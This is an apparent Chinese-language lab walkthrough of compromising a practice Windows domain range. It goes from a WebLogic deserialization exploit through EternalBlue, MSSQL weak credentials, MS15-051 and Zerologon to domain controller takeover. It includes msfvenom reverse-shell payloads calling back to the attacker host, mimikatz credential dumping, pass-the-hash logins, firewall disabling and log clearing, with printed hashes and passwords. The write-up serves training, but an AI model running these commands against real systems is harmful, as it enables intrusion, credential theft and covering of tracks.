参考文章:
- 博客园-Java安全之Weblogic 2016-0638分析
- 知乎-sqlserver连接错误:SQL评估期已过问题解决
- SQL Server 2008~2022版本序列号/密钥/激活码 汇总
- 知乎-Windows server 2008提权漏洞及方法
- github-域控获取方式
- 先知-Impacket脚本利用指南(上)
- Labex-演习后使用 Meterpreter 清理系统
外网渗透
环境配置
虚拟网络编辑器(注意对应适配器且仅能是仅主机模式)
- VM1 10.10.10.0/24
- VM0 10.10.20.0/24
- VM8 192.168.0.0/24
kali
- 192.168.0.129
Win7 x64
- 10.10.20.7
- 10.10.10.7
WinServer 2008-SQLServer
- 10.10.10.18
WinServer 2008-DC(域控)
- 10.10.10.8
WinServer 2012-weblogic
- 10.10.20.12
- 192.168.0.128
问题
-
win7自动休眠 win7记得更改电源选项, 控制面板->电源选项->更改计划设置为从不
-
WinServer 2008-SQLServer的mssql未启动 检查WinServer 2008-SQLServer的服务是否启动, 如果没有且启动出现错误17051, 参考上面的文章
我选择的是Enterprise的密钥, 更新完后重启即可
信息收集-外网
能且仅能访问WinServer 2012
# 获取靶机地址 192.168.0.128
sudo nmap -sn 192.168.0.0/24
# 获取端口信息 7001,5985
sudo nmap -sT --min-rate 10000 -p- 192.168.0.128 -oA scan/ports
# 获取详细信息
sudo nmap -sT -sV -sC -O -p7001,5985 192.168.0.128 -oA scan/detail
# 看看漏洞
sudo nmap --script=vuln -p7001,5985 192.168.0.128 -oA scan/vulnTCP连接扫描+版本探测+默认脚本扫描+操作系统探测
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7001/tcp open http Oracle WebLogic admin httpd 12.1.3.0 (T3 enabled)
Microsoft Windows Server 2012 or Windows Server 2012 R2 (92%)
访问192.168.0.128:7001返回Error 404--Not Found, 控制台界面/console可以看到当前版本为12.1.3.0.0, 没有绕过鉴权的漏洞(CVE-2017-3506), 那就只能看看别的了
Weblogic作为一个中间件会装有组件, 如果像WordPress这种会有类似WPScan的扫描工具, 手动的话一般是通过路径枚举
目录扫描
sudo dirsearch -u "http://192.168.0.128:7001/"
# /bea_wls_deployment_internal/DeploymentService
# /bea_wls_internal/
# /console/login/LoginForm.jsp
# /wls-wsat/CoordinatorPortType
# /bea_wls_internal/iiop/ClientRecv
# /bea_wls_internal/HTTPClntRecv组件如下, 在github找到了weblogic工具, WeblogicTool
| 路径 | 对应 WebLogic 组件 | 风险等级 |
|---|---|---|
| /wls-wsat/* | Web Services AT | 高危 |
| /bea_wls_deployment_internal/* | 部署服务 | 高危 |
| /bea_wls_internal/iiop/* | IIOP服务 | 中高 |
| /bea_wls_internal/HTTPClntRecv | 集群通信 | 中 |
直接输入URL即可
============开始检查可回显漏洞============
检查漏洞:CVE_2016_0638_ECHO开始
检查Payload:CommonsCollections3_678
[+]:存在CVE_2016_0638_ECHO漏洞,返回信息:weblogic\administrator
===============检查可回显漏洞完成============
getshell-weblogic
这个工具可以直接塞个马, 测试了之后只有冰蝎的成功了
冰蝎太全面了
内网渗透
weblogic
信息收集
# 当前权限:本地管理员 weblogic\administrator
whoami
# 查看网络信息 主机名称weblogic, 双网卡10.10.20.0和192.168.0.128
ipconfig /all
# 查看域用户 指定的域不存在,或无法联系
net user /domain
# 查看工作站配置信息 工作站域 WORKGROUP 登录域 WEBLOGIC
net config workstation这说明该机器不存在域环境
上传fscan对内网进行扫描, 发现另一台win7存在MS17-010, 即永恒之蓝
fscan32.exe -h 10.10.20.0/24
# 10.10.20.12 WORKGROUP\weblogic 本机
# 10.10.20.7 (Windows 7 Ultimate 7601 Service Pack 1)冰蝎缺插件了, 还是来看看我们伟大的msfconsole吧
反弹shell-weblogic
冰蝎的反弹shell那里可以选择meterpreter的马, 配置完IP和端口后根据冰蝎给出的payload配置msf即可
msfconsole
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 0.0.0.0
run成功开启监听后点击给我连即可反弹
java/meterpreter/reverse_tcp无法使用load priv
另外如果msf的shell出现乱码尝试
chcp 65001
做个持久化吧, 上传个msf马放进计划任务就行
# bash
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.129 lport=10000 -f exe -o weblogic-1209.exe
# msf6
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 0.0.0.0
set lport 10000
run搭建路由-10.10.20.0
新的frp不是很好用, 还是用回msf
# 添加路由
meterpreter > run autoroute -s 10.10.20.0/24
# 或使用后台命令
meterpreter > background
msf6 > route add 10.10.20.0/24 <session_id>
# 开启sock5代理
msf6 > use auxiliary/server/socks_proxy
msf6 > set srvhost 0.0.0.0
msf6 > set version 5
run
# msf设置全局代理
msf6 > setg Proxies socks5:192.168.0.129:1080
# 允许通过代理反弹shell
msf6 > setg ReverseAllowProxy truewin7
getshell
这里我一共跑了10次才拿到shell(爆一个FAIL算一次尝试), 如果不行建议重置靶机再试几次
利用msf的扫描payload进行一个扫, 确认存在
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.20.7
run进行一个打, 注意端口号别重复
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.20.7
set lport 5555
run同样上传个正向马防止掉了拿不回来
# 新开一个终端用于生成也行
msf6 > msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.0.129 lport=6666 -f exe > win7-1209.exe
# 上传
metepreter > upload win7-1209.exe c:\\Temp\\win7.exe运行后正向连接即可
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6666
set rhost 10.10.20.7
run信息收集
# 当前权限:系统 nt authority\system
whoami
# 查看网络信息 主机名称work-7, 双网卡10.10.20.0和10.10.10.0
ipconfig /all
# 查看域用户 域名 redteam.red
net user /domain
# 查看工作站配置信息 无法查看
net config workstation下面是一些用户
adduser, Administrator, apt404, gu, Guest, krbtgt, mail, saul, saulgoodman
上传fscan扫描
# 上传
metepreter > upload fscan32.exe c:\\Temp\\fscan32.exe
# 进shell操作一手
fscan64.exe -h 10.10.10.0/24
# 想要可以下载
metepreter > download result.txt result.txt根据结果拿到了两台新内网机器, 均为Windows Server 2008 10.10.10.18 - sqlserver-2008 10.10.10.8 - owa
以及域控为owa.redteam.red, 即10.10.10.8
凭证提取
已经在域内了, 看看有没有用户曾经登录过(提权就是为了提取凭证)
metepreter > load kiwi
metepreter > kiwi_cmd sekurlsa::logonpasswords得到一个域用户saul:admin!@#45
搭建路由-10.10.10.0
msf会自动帮你串在一起
meterpreter > run autoroute -s 10.10.10.0/24SQLServer
为什么打这个? 没有凭证没有密码, 域控也没几个服务, 不打这个打哪个
proxychain代理的nmap太慢了, 继续用fscan详细扫一次
fscan64.exe -h 10.10.10.18 -np得到开放的端口1433, 并有弱密码sa:sa
getshell
可以先利用auxiliary/admin/mssql/mssql_exec模块看是否可以执行命令
利用msf的模块getshell:
use exploit/windows/mssql/mssql_clr_payload
set payload windows/x64/meterpreter/bind_tcp
set password sa
set rhosts 10.10.10.18
set lport 8888
run信息收集
通过getuid知道权限为NT AUTHORITY\LOCAL SERVICE, 并非高权限
# 当前权限:系统 nt authority\local service
whoami
# 查看网络信息 主机名称sqlserver-2008, 网卡10.10.10.0
ipconfig /all
# 查看工作站配置信息 无法查看
net config workstation提权
尝试利用getsystem提权, 失败了
c:\users\public这个目录运行木马可以用于提权吗?
那么接下来就是提权了, 搜索之后可以参考这个知乎-Windows server 2008提权漏洞及方法
试了之后发现MS15_051可以, msf也有对应的模块, 注意session的值, 然后成功拿到system权限
use windows/local/ms15_051_client_copy_image
set payload windows/x64/meterpreter/bind_tcp
set session 4
set lport 7777
set rhost 10.10.10.18
set target 1
runtarget不改就是x86了, 我没成功你试试
凭证提取
看看有没有用户曾经登录过(提权就是为了提取凭证)
metepreter > load kiwi
metepreter > kiwi_cmd sekurlsa::logonpasswords得到一个域用户sqlserver:Server12345
DC
没有相关凭证只能硬打了, fscan也没扫出来
fscan64.exe -h 10.10.10.8 -np看看我发现了什么: github-域控获取方式
漏洞利用
根据文章的第二个Zerologon(CVE-2020-1472), 我们可以通过重置其密码的方式获取域控
找到zerologon_tester.py用于测试是否存在: github-CVE-2020-1472脚本
proxychains python3 zerologon_tester.py owa 10.10.10.8
# 回显: Success! DC can be fully compromised by a Zerologon attack.msf有对应模块, 可以将密码重置为空
search cve-2020-1472
use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
set rhosts 10.10.10.8
set nbname owa
run
# [+] 10.10.10.8:6008 - Successfully set the machine account (owa$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)凭证提取
你需要这个: github-impacket, 统称为impacket包, 请下载0.12.0版本, 新版本我改了半天还是出问题
拿出secretsdump.py, 目标在examples文件夹下
# 导出域内所有用户凭证
proxychains4 python3 secretsdump.py redteam.red/owa\$@10.10.10.8 -no-pass获得了域管理员的hash: redteam.red\Administrator:500:aad3b435b51404eeaad3b435b51404ee:12ae887e93f9176dda707014928757fc:::, 还找到了一个DefaultPassword: (Unknown User):ROOT#123
这里面有非常多的票据, 可能之前的机器中都有
getshell
最后拿来登录就行, 把里面的smbexec.py, wmiexec.py扒出来, 目标在examples文件夹下
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:12ae887e93f9176dda707014928757fc Administrator@10.10.10.8smbexec.py出现了
STATUS_OBJECT_NAME_NOT_FOUND错误, 之后看看为什么
执行完后就能获取一个shell, 之后就是关防火墙, 利用psexec模块,上线msf即可
# 查询权限 redteam\administrator
whoami
# 关闭防火墙, 回显会告诉你返回的是乱码, 反正成功了
netsh advfirewall set allprofiles state off
# 返回msf进行登录
use exploit/windows/smb/psexec
set RHOSTS 10.10.10.8
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:12ae887e93f9176dda707014928757fc
set payload windows/meterpreter/bind_tcp
run直接就是NT AUTHORITY\SYSTEM, 至此成功拿下域控
以下路径有flag: C:\Users\Administrator\Desktop\flag.txt
痕迹清除
由于主机均为Windows, 只需要在meteerpreter执行clearev就可以了
其他
CVE-2020-1472
还有这个脚本: cve-2020-1472-exploit.py, 里面甚至有恢复原域账号密码的脚本, 可以看看
# 重置域控机器账号
proxychains4 python3 cve-2020-1472-exploit.py owa 10.10.10.8恢复域控的密码
想要验证就再跑一次secretsdump.py, 不行就说明有密码
# 导出注册表
reg save HKLM\SYSTEM system.save``reg save HKLM\SAM sam.save``reg save HKLM\SECURITY security.save
# 通过sam.save、security.save、system.save获得域控原本的NTLM哈希值
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
# 拿到$MACHINE.ACC的值 $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:cbc48b0b50c4cdd834e6498afd3c39e5
# 取出后半段的NTLM进行恢复
proxychains4 python3 reinstall_original_pw.py owa 10.10.10.8 cbc48b0b50c4cdd834e6498afd3c39e5更多
类似委派的还有约束性委派之类的之后再试试